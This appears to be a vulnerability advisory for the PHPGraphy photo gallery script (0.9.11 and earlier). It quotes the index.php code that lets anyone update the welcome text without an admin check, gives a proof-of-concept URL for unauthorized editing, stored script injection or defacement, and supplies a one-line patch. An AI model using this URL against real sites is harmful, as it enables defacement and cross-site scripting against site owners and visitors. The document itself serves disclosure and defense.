- PHPGraphy <= 0.9.11 "editwelcome" unauthorized access / cross site
scripting -

--------------------------------
software site: http://phpgraphy.sourceforge.net/
description: "Full featured photo gallery PHP script - Light, fast and easy
to
install"

vulnerable code index.php near line 503-10:

...
if ($updwelcome && isset($welcomedata) && check_welcome($dir)) {
if (strlen($welcomedata) < 10000) {

write_welcome($dir,$welcomedata);
echo "<html><script
language="javascript">window.opener.location="?dir=".rawurlencode($di
r)."";window.close();</script></html>";
} else echo "Sorry more data (10k) than allowed, protection aborting the
operation<br />";
exit;
}
...

poc, a remote user can go to this url:

http://[target]/[path]/index.php?dir=&editwelcome=1&popup=0

to have unauthorized access to some edit functionalities and to insert
html/
/javascript code or simply deface the main page

temporary patch -> replace this line:

...
if ($updwelcome && isset($welcomedata) && check_welcome($dir)) {
...

with:

...
if ($admin && $updwelcome && isset($welcomedata) && check_welcome($dir)) {
...
